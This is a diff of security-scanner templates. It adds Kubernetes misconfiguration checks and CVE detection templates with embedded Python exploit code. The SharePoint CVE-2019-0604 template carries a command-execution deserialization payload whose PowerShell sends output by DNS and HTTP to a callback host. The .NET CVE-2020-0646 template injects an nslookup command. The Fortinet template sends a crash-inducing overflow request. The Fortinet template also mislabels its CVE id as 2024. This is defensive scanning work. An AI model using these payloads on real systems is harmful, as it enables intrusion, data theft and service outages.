+# digest: 4a0a00473045022100f5da0436a6b329b1bc22187624b39ca6eb16b8b7b500bad99158786c701d90c502200188b5517fb363ee7790049fc05f8d63ae6d8a23dc1763481b8bc1bc1333d301:922c64590222798bb761d5b6d8e72950
@@ -35,7 +35,7 @@ code:
        name: projectIds
        internal: true
        json:
-          - '.[].projectId'
+          - ".[].projectId"

  - engine:
      - sh
@@ -45,11 +45,12 @@ code:

    matchers:
      - type: word
+        part: body
        words:
-          - 'default'
+          - '"name": "default"'

    extractors:
      - type: dsl
        dsl:
          - '"The default VPC network is in use in project " + projectId'
-# digest: 4b0a00483046022100ab535503a862d00ef6624bb1eb9dcf10f41a12512e62037044333ae5d539fafc022100e5d94c98878e32663b7a4da7abe3150a742fbf9226ae4af273d4282c11353910:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dac56d5c0cf82c13d6b7d4b2556aea94ece44bd1ee3fa9dea355cfee33296539022035233a06905e636e15a23dae37054a6eef797b37db6da1a9f716fd119562de7c:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,64 @@
+id: kubernetes-exposing-docker-socket-hostpath
+
+info:
+  name: Kubernetes Exposing Host's Docker Socket
+  author: dwisiswant0
+  severity: high
+  description: Exposing host's Docker socket to containers via a volume.
+  impact: |
+    The owner of this socket is root. Giving someone access to it is equivalent
+    to giving unrestricted root access to your host.
+  remediation: Remove 'docker.sock' from hostpath to prevent this.
+  reference:
+    - https://kubernetes.io/docs/concepts/storage/volumes/#hostpath
+    - https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems
+    - https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
+    - https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers
+  tags: cloud,devops,kubernetes,k8s
+
+flow: |
+  code(1);
+  for (let pod of template.items) {
+    pod = JSON.parse(pod);
+    if (!pod.spec.hasOwnProperty('volumes')) continue;
+    for (const volume of pod.spec.volumes) {
+      if (volume.hasOwnProperty('hostPath')) {
+        if (!volume.hostPath.hasOwnProperty('path')) continue;
+        const path = volume.hostPath.path;
+        if (path && path !== '/var/run/docker.sock') continue
+      }
+      set('volume', JSON.stringify(volume));
+      set('pod', pod.metadata.name);
+      set('namespace', pod.metadata.namespace);
+      code(2)
+    }
+  }
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: kubectl get pods --all-namespaces --output=json
+    extractors:
+      - type: json
+        name: items
+        internal: true
+        json:
+          - '.items[]'
+
+  - engine:
+      - sh
+      - bash
+    source: echo -e '$volume'
+
+    matchers:
+      - type: word
+        words:
+          - "/var/run/docker.sock"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"Exposed Docker socket via a volume in the " + pod + " pod of " + namespace + " namespace"'
+# digest: 490a004630440220118723a85165514f59da64d85df3822f05a47ab5fc3e1e2a01ea0d06cb8d58110220147f70004616c4ee4b84fc2137e253c00a1908207be5e1cfb70b86cb586e0ba3:9e2dfd48464943e7ca3816f5f86e5507
@@ -0,0 +1,57 @@
+id: k8s-role-pod-create
+
+info:
+  name: Roles that have pod create permissions
+  author: domwhewell-sage
+  severity: medium
+  description: Checks for roles that have permissions to create pods.
+  impact: |
+    Pods that have the service account with a role that allows them to create pods, could allow a pod breakout.
+  remediation: Configure pods so they are not assigned the permission to create other pods
+  reference:
+    - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#least-privilege
+    - https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html
+  tags: cloud,devops,kubernetes,devsecops,roles,k8s,k8s-cluster-security
+
+flow: |
+  code(1);
+  for (let role of template.items) {
+    set("role", role)
+    javascript(1);
+  }
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: kubectl get role --all-namespaces --output=json
+    extractors:
+      - type: json
+        name: items
+        internal: true
+        json:
+          - '.items[]'
+
+javascript:
+  - code: |
+        let role = JSON.parse(template.role);
+        let riskyRules = 0;
+        role.rules.forEach(rule => {
+          if ((rule.resources.includes("pods") && rule.verbs.includes("create")) ||
+              (rule.resources.includes("pods") && rule.verbs.includes("*")) ||
+              (rule.resources.includes("*") && rule.verbs.includes("create")) ||
+              (rule.resources.includes("*") && rule.verbs.includes("*"))) {
+            riskyRules++;
+          }
+        });
+        if (riskyRules > 0) {
+          let result = (`Role '${role.metadata.name}' in namespace '${role.metadata.namespace}' has ${riskyRules} rule(s) with 'pods' resource and 'create' verb.`);
+          Export(result);
+        }
+
+    extractors:
+      - type: dsl
+        dsl:
+          - response
+# digest: 4b0a00483046022100d2e5577540b193bfbc85b570e8b36dd351705f4e45ca26c8ffc614abc5aa5336022100e00accf96a83579e3addfc9cc8b2830a7ec1b7eb754c8bd6240ee344b2ce9f35:922c64590222798bb761d5b6d8e72950
@@ -10,7 +10,10 @@ info:
    - https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
  metadata:
    verified: true
-  tags: cve,cve2014,openssl,heartbleed,code
+  classification:
+    epss-score: 0.94436
+    epss-percentile: 0.99986
+  tags: cve,cve2014,openssl,heartbleed,code,kev

 variables:
  url: "{{RootURL}}"
@@ -135,4 +138,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 4a0a00473045022100dbbea58d04f9d75d0256102028ede5d7bf09a90175cb7dfcc7a394a9cb017e4c02205fdba48a22acce8f57cc53b0e6e2a79711a5f7d8515c4bce365d17d7b5048d56:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022045af2038247961fb5b14c19d8bb72374aff33f6abffa1053838bf74e8ec2664b022100b728939fd652a8faa3a89769edd07a1dd8d858df326778c204e6abdba96b5c1a:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
-    epss-score: 0.97201
-    epss-percentile: 0.99862
+    epss-score: 0.94419
+    epss-percentile: 0.99979
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
@@ -104,4 +104,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a00473045022003497add318e43154d20f752633565cadb8c406ddac3e6661b034e20594acfc1022100d947b1c765918742118b4ec4c926376292eb19715157a299d04aa01aab3fa1d6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220263f2287dbb0158286c85d46f2a1637a443d821fb9dd0e683060d565654183c4022100e0c3e01d1ae396203308a33adb78c54b24760737c3fb4a224d51d3a9afd82192:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,157 @@
+id: CVE-2019-0604
+
+info:
+  name: Microsoft SharePoint - Remote Code Execution
+  author: tree-chtsec,pszyszkowski
+  severity: critical
+  description: |
+    Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.
+  remediation: |
+    Fixed in security update published Feb 12, 2019
+  reference:
+    - https://github.com/Gh0st0ne/weaponized-0604
+    - https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2019-0604
+    - https://nvd.nist.gov/vuln/detail/cve-2019-0604
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2019-0604
+    cwe-id: CWE-20
+    epss-score: 0.94411
+    epss-percentile: 0.99975
+  metadata:
+    verified: true
+    vendor: microsoft
+    product: sharepoint
+    shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
+  tags: cve,cve2019,sharepoint,microsoft,rce,kev
+
+variables:
+  OAST: "{{interactsh-url}}"
+  marker: "{{randbase(5)}}"
+
+code:
+  - engine:
+      - py
+      - python3 #pip install lxml{required}
+
+    source: |
+      import os
+      import sys
+      import base64
+      import argparse
+      from copy import deepcopy
+      import urllib3
+      import requests
+      import lxml.html
+      import codecs
+      from xml.sax.saxutils import escape
+      urllib3.disable_warnings()
+      default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
+      part1 = 'System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35]],System.Data.Services,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089:'
+      part2 = '<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><ExpandedElement/><ProjectedProperty0><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">%s</anyType></MethodParameters><ObjectInstance a:type="XamlReader"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfXamlReaderObjectDataProvider>'
+      content = '<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:c="clr-namespace:System;assembly=mscorlib" xmlns:d="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="" ObjectType="{x:Type d:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <c:String>%(base)s</c:String> <c:String>%(arg)s</c:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>'
+      paths = [os.getenv("Path"), '/_vti_pvt/picker.aspx', '/_app_bin/picker.aspx', '/_controltemplates/picker.aspx', '/_login/picker.aspx', '/_windows/picker.aspx', '/_layouts/15/picker.aspx', '/_wpresources/picker.aspx', '/_vti_bin/picker.aspx']
+      host = os.getenv('RootURL')
+      domain = os.getenv('OAST')
+      user = os.getenv('username')
+      pswd = os.getenv('password')
+      def html_escape(s):
+          _ = escape(s)
+          _ = _.replace('"', '&quot;')
+          return _
+      def _0604(cmd):
+          if ' ' in cmd and '|' not in cmd[:cmd.find(' ')]: # avoid command problem (TODO : find a better solution)
+              _bin, _arg = cmd.split(' ', 1)
+          else:
+              _bin = 'cmd'
+              _arg = '/c ' + cmd
+          payload = part1 + part2 % html_escape(content % dict(base=html_escape(_bin), arg=html_escape(_arg)))
+          o = ''.join(codecs.encode(codecs.encode(x, 'utf-16be'), 'hex').decode('ascii')[::-1] for x in payload)
+          return '__bp' + format(len(o), 'x')[::-1] + o
+      def main():
+          auth = ''
+          cmd = 'echo ' + os.getenv('marker')
+          if (user != None) and (pswd != None):
+              auth = user + ':' + pswd
+              ntlm = True
+          else:
+              ntlm = False
+          if host is None:
+              print("missing target. You must specify -u <url>")
+              exit(1)
+          if domain is not None:
+              print('OOB: "%s" will be executed in POWERSHELL context' % (cmd))
+              __var_raw = '$a'
+              __var_hex = '$b'
+              __dns_code = '''
+      $bl = %(v_hex)s.length;$l = 60;$i = 0;
+      while($i -lt $bl) {
+      $l = if(($bl - $i) -gt $l) { $l } else { $bl - $i };
+      $v = %(v_hex)s.substring($i, $l);
+      ping -n 1 "$i.$v.%(domain)s";
+      $i += $l; }
+              '''.strip() % dict(domain=domain, v_hex=__var_hex)
+              __post_code = '''
+      iwr -Uri %(domain)s -Method post -Body %(v_raw)s;
+              '''.strip() % dict(domain=domain, v_raw=__var_raw)
+              __code = '''
+      %(v_raw)s = %(cmd)s;
+      $Encode = new-object "System.Text.UTF8Encoding";
+      $bytearray = $Encode.GetBytes(%(v_raw)s);
+      %(v_hex)s = "";
+      Foreach ($i in $bytearray) {
+        %(v_hex)s = %(v_hex)s + $i.ToString("X").PadLeft(2,"0");
+      }
+              '''.strip() % dict(cmd=cmd, v_raw=__var_raw, v_hex=__var_hex)
+              __code += __dns_code
+              __code = base64.b64encode(__code.encode('UTF-16LE')).decode()
+              cmd = 'powershell -ep bypass -enc %s' % (__code)
+              print(cmd)
+          if ntlm:
+              from requests_ntlm import HttpNtlmAuth
+              _auth = HttpNtlmAuth(*auth.split(':', 1))
+          else:
+              _auth = None
+          _headers = {'User-Agent': default_ua}
+          req_kwargs = {
+              'headers': _headers,
+              'auth': _auth,
+              'verify': False
+          }
+          def auto_sp_attack(kwargs):
+              for item in paths:
+                  url = os.getenv('RootURL') + item
+                  # get sharepoint version (2019,2016 / 2013 / 2010)
+                  res = requests.get(url, **kwargs)
+                  spversion = res.headers.get('MicrosoftSharePointTeamServices', '16').split('.', 1)[0] + '.0.0.0'
+                  kwargs['params'] = dict(PickerDialogType='Microsoft.SharePoint.WebControls.ItemPickerDialog,Microsoft.SharePoint,Version=%s,Culture=neutral,PublicKeyToken=71e9bce111e9429c' % spversion)
+                  # get viewstate & ev from picker.aspx
+                  if res.status_code != 200:
+                      print('%s failed [%s]' % (item, res.status_code))
+                      continue
+                  else:
+                      break
+              rt = lxml.html.fromstring(res.content)
+              spandata = list(filter(lambda x: x.get('name').endswith('hiddenSpanData'), rt.xpath('//input[contains(@name, "hiddenSpanData")]')))[0].get('name')
+              kwargs['data'] = {
+                  '__VIEWSTATE': rt.get_element_by_id('__VIEWSTATE').value if rt.xpath('//input[@id="__VIEWSTATE"]') else '',
+                  '__EVENTVALIDATION': rt.get_element_by_id('__EVENTVALIDATION').value if rt.xpath('//input[@id="__EVENTVALIDATION"]') else '',
+              }
+              payload = _0604(cmd)
+              kwargs['data'][spandata] = payload
+              return requests.post(url, **kwargs)
+          attack_fn = auto_sp_attack
+          res = attack_fn(deepcopy(req_kwargs))
+          if all(s in res.text for s in ['"ms-pickerresultheadertr"', 'Administrators, see the server log for more information.']):
+            print('%s succeded (%s)' % (res.url, res.status_code))
+      if __name__ == '__main__':
+          main()
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(interactsh_protocol, "dns")'
+          - 'contains(interactsh_request, hex_encode(marker))'
+        condition: and
+# digest: 4a0a00473045022100df684445466bb9439cba258cce0a1a80392f032ecb3e0ad50766aaf73d4b01dd02206215e142ca504c23bf2d1cd3fe23cbe8a5bade3aeb368de6144a8113b4abd23d:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
-    epss-score: 0.30814
-    epss-percentile: 0.96854
+    epss-score: 0.84563
+    epss-percentile: 0.99284
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -47,4 +47,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 490a00463044022100b66bc431046c222bdbdf17c5c6b5c9743d91f902f877967c4434d46ff44bf79c021f498f3f2a5efedc922b9a142b06d7578ca7f5c9413b964c46a676b14d2f4dfa:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c1d0e6e00841e13c6ae67d95d0b02a6cf0947cdc0ec6e54eb4877e229271f8eb022100a10a0cceb9b1016c22bcc2d6459098802b0dc449da93e4bfefd4f2fcfb44872b:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,105 @@
+id: CVE-2020-0646
+
+info:
+  name: Microsoft .NET Framework - Remote Code Execution
+  author: pszyszkowski
+  severity: critical
+  description: |
+    A remote code execution vulnerability exists when the Microsoft .NET Framework fails to validate input properly, aka '.NET Framework Remote Code Execution Injection Vulnerability'.
+  reference:
+    - https://www.cve.org/CVERecord?id=CVE-2020-0646
+    - https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-0646
+    - http://packetstormsecurity.com/files/156930/SharePoint-Workflows-XOML-Injection.html
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-0646
+    cwe-id: CWE-91
+    epss-score: 0.93121
+    epss-percentile: 0.99783
+    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
+  metadata:
+    verified: true
+    vendor: microsoft
+    product: .net_framework
+    shodan-query: 'server:"ms .net remoting"'
+    max-request: 1
+  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast
+
+variables:
+  OAST: "{{interactsh-url}}"
+
+code:
+  - engine:
+      - py
+      - python3 #pip install requests_ntlm (required)
+
+    source: |
+      import os
+      import urllib3
+      import requests
+      urllib3.disable_warnings()
+      default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
+      paths = [os.getenv('Path'), '/_vti_bin/webpartpages.asmx']
+      host = os.getenv('RootURL')
+      domain = os.getenv('OAST')
+      user = os.getenv('username')
+      pswd = os.getenv('password')
+      data = f'''<?xml version="1.0" encoding="utf-8"?>
+      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+      <soap:Body>
+          <ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages">
+          <workflowMarkupText>
+              <![CDATA[
+              <SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
+                  <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe", "/c nslookup {domain}");private/**/void/**/foobar(){{//' />
+              </SequentialWorkflowActivity>
+              ]]>
+          </workflowMarkupText>
+          <rulesText></rulesText>
+          <configBlob></configBlob>
+          <flag>2</flag>
+          </ValidateWorkflowMarkupAndCreateSupportObjects>
+      </soap:Body>
+      </soap:Envelope>
+      '''
+      def main():
+          if (user != None) and (pswd != None):
+              ntlm = True
+          else:
+              ntlm = False
+          if host is None:
+              print("missing target. You must specify -u <url>")
+              exit(1)
+          if ntlm:
+              from requests_ntlm import HttpNtlmAuth
+              _auth = HttpNtlmAuth(user, pswd)
+          else:
+              _auth = None
+          _headers = {
+              'User-Agent': default_ua,
+              'Content-Type': 'text/xml'
+          }
+          for item in paths:
+              url = os.getenv('RootURL') + item
+              res = requests.post(url, data, auth=_auth, verify=None, headers=_headers)
+              if res.status_code != 200:
+                  continue
+              else:
+                  print(f"HTTP/1.1 {res.status_code} {res.reason}")
+                  for key, value in res.headers.items():
+                      print(f"{key}: {value}")
+                  print(f"\n{res.text}")
+                  break
+      if __name__ == '__main__':
+          main()
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(interactsh_protocol, "dns")'
+          - 'contains(body, "ValidateWorkflowMarkupAndCreateSupportObjectsResponse")'
+          - 'contains(content_type, "text/xml")'
+          - 'status_code == 200'
+        condition: and
+# digest: 490a00463044022039b21fd051ee3d99e5087c4b1ef37ebfbd8d3abf7c717021969855a08cf3ff2902203f3bcb8f09adb6748005b8ab005e0282bed3ac3e1f281064e1a4f41f5db35163:922c64590222798bb761d5b6d8e72950
@@ -10,6 +10,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
+    epss-score: 0.92195
+    epss-percentile: 0.99703
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -17,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.97085
-    epss-percentile: 0.99757
+    epss-score: 0.92492
+    epss-percentile: 0.99726
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -40,4 +40,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 490a00463044022003e9a47a2c4c44efd51b49bbac2f179b9affcc5acfca59cac2b0b120cef766ba0220690376c3929640e6e24b046b094bc38eb63e08f4c2914c732e04919353394a1f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220116acc9627f4685ad779e90097e7034e251856df89fd56d03ba53837d13f0986022100fe150737937481ab215b5d0e2137cb9276d7e005bb7e92c79ce0087766cec0f8:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,196 @@
+id: CVE-2022-42475
+
+info:
+  name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
+  author: 0xhaggis,pszyszkowski,pussycat0x
+  severity: critical
+  description: |
+    A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
+  remediation: |
+    Fixed in:
+    FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
+    FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15
+    FortiProxy >= 7.2.2, 7.0.8, 2.0.12
+  reference:
+    - https://github.com/0xhaggis/CVE-2022-42475
+    - https://fortiguard.com/psirt/FG-IR-22-398
+    - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
+    - https://bishopfox.com/blog/exploit-cve-2022-42475
+  classification:
+    epss-score: 0.9394
+    epss-percentile: 0.99873
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-42475
+    cwe-id: CWE-122
+  metadata:
+    max-request: 1
+    vendor: fortinet
+    product: fortios
+    shodan-query:
+      - port:10443 http.favicon.hash:945408572
+      - cpe:"cpe:2.3:o:fortinet:fortios"
+      - http.html:"/remote/login" "xxxxxxxx"
+  tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
+
+flow: http () && code()
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/remote/login"
+      - "{{BaseURL}}/login"
+
+    stop-at-first-match: true
+    host-redirects: true
+    matchers:
+      - type: dsl
+        internal: true
+        dsl:
+          - 'contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid")'
+          - 'status_code == 200'
+        condition: and
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+        import sys, os, time, socket, ssl
+        PADDING        = 0x4141414141414141
+        PADDING_LEN    = 1024*12
+        CONTENT_LENGTH = b"4294967297"
+
+        class SSLVPNExploit:
+          def __init__(self, host, port):
+            self.host = host
+            self.port = port
+          def connect(self):
+            tries = 1
+            if os.getenv("Scheme") == "https":
+              useSSL = True
+              print("[+] Using SSL/TLS")
+            else:
+              useSSL = False
+              print("[+] Unencrypted connection")
+            while tries <= 6:
+              try:
+                print("[+] Connecting to %s [ attempt %d of 6 ]                                \r" % (self.host, tries), end='\n')
+                self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                if useSSL == True:
+                  ctx = ssl._create_unverified_context()
+                  self.socket = ctx.wrap_socket(self.cleartext_socket)
+                else:
+                  self.socket = self.cleartext_socket
+                self.socket.settimeout(2.0)
+                self.socket.connect((self.host, self.port))
+
+                return self.socket
+              except socket.timeout as e:
+                tries += 1
+                print("Connection timeout!")
+                continue
+              except Exception as e:
+                print("Unknown error!")
+                print(e)
+                return None
+            return None
+          def check_by_get(self):
+            get_req = bytearray(b"")
+            get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+
+            print("[>] Sending GET first")
+            if self.connect() == None:
+              print("[!] Error connecting to target")
+              exit(1)
+            try:
+              self.socket.sendall(get_req)
+
+              self.socket.settimeout(10)
+              get_buf = self.socket.recv(1048576)
+
+              if len(get_buf) == 0:
+                print("Error while sending GET. Protocol mismatch?")
+                return None
+              self.socket.close()
+              return True
+            except socket.timeout as e:
+              print("[>] Target waited for more data.")
+              return False
+
+            except Exception as e:
+              print("[>] Target dropped the connection during test GET, which indicates a communication error!")
+              print(e)
+              return None
+
+          def is_vulnerable(self):
+            req = bytearray(b"")
+            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
+            req += b"AAAAAAAA"*(PADDING_LEN)
+
+            print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
+            if self.connect() == None:
+              print("[!] Error connecting to target")
+              exit(1)
+
+            try:
+              # Send the payload. Vuln instances will crash, severing the connection and
+              # causing an exception to be thrown here.
+              self.socket.sendall(req)
+
+              # If this read succeeds then the target is probably not vulnerable.
+              # If it times out, then it's also probably not vulnerable.
+              self.socket.settimeout(10)
+              buf = self.socket.recv(1048576)
+
+              # If the remote end disconnects without an HTTP response then it's vulnerable.
+              if len(buf) == 0:
+                  return True
+
+              # Check to see if it has the vendor patch applied
+              if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
+                  print("[>] Target is patched.")
+                  return False # 100% confidence that it's not vulnerable.
+
+              # Ok, something weird and unexpected happened.
+              print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
+              print("----- BEGIN RESPONSE -----")
+              print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
+              print("----- END RESPONSE -----")
+              self.socket.close()
+              return None
+
+            except socket.timeout as e:
+              print("[>] Target waited for more data. Not vulnerable.")
+              return False
+            except Exception as e:
+              print("[>] Target dropped the connection, which indicates a vulnerable device!")
+              print(e)
+              return True
+
+        if __name__ == '__main__':
+          host=os.getenv("Host")
+          port=int(os.getenv("Port"))
+          exploit = SSLVPNExploit(host, port)
+          check = exploit.check_by_get()
+
+          if check == True:
+            result = exploit.is_vulnerable()
+            if result == None:
+              print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
+              exit(2)
+
+            if result == True:
+              print("[+] Target appears to be VULNERABLE")
+              exit(0)
+
+            else:
+              print("[+] Target is NOT vulnerable")
+              exit(1)
+
+    matchers:
+      - type: word
+        words:
+          - "Target appears to be VULNERABLE"
+# digest: 480a00453043021f35b1e6cb5dd443fe5d86eb7d588b599b95e1af87137da1e4d6fb5804c8a9a602201d06f797448d26f65179c6c9a067ff8d245067a3b42b2b21c19d3fb469d6b8c4:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-2640
    cwe-id: CWE-863
-    epss-score: 0.00232
-    epss-percentile: 0.60636
+    epss-score: 0.92037
+    epss-percentile: 0.99695
    cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 4a0a00473045022100af1ce9e558408f86de2a92c299f2c032d05d4c87ca0b3b94e5372325c57a6247022018cc3e6806b89d0ab44dd51123fc94309a65fcb8b07605f505d528c67faa4862:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022025723ab91e420641cfe800cf358b555be4dfe1a95e19f497622513d576e1a18602210099c619aeaa31b5a42bfa1bf2435e943539edb17a8bb63d628639876b14b1dd0b:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,629 @@
+id: CVE-2023-2986
+
+info:
+  name: Abandoned Cart Lite for WooCommerce - Authentication Bypass
+  author: iamnoooob,pdresearch
+  severity: critical
+  description: |
+    The Abandoned Cart Lite for WooCommerce plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.14.2. This is due to insufficient encryption on the user being supplied during the abandoned cart link decode through the plugin. This allows unauthenticated attackers to log in as users who have abandoned the cart, who are typically customers. Further security hardening was introduced in version 5.15.1 that ensures sites are no longer vulnerable through historical check-out links, and additional hardening was introduced in version 5.15.2 that ensured null key values wouldn't permit the authentication bypass.
+  reference:
+    - https://github.com/Alucard0x1/CVE-2023-2986
+    - https://github.com/TycheSoftwares/woocommerce-abandoned-cart/pull/885#issuecomment-1601813615
+    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2925274%40woocommerce-abandoned-cart&new=2925274%40woocommerce-abandoned-cart&sfp_email=&sfph_mail=
+    - https://www.wordfence.com/blog/2023/06/tyche-softwares-addresses-authentication-bypass-vulnerability-in-abandoned-cart-lite-for-woocommerce-wordpress-plugin/
+    - https://github.com/Ayantaker/CVE-2023-2986
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2023-2986
+    epss-score: 0.91813
+    epss-percentile: 0.99679
+    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    vendor: tychesoftwares
+    product: abandoned_cart_lite_for_woocommerce
+    framework: wordpress
+    fofa-query: body="/wp-content/plugins/woocommerce-abandoned-cart/"
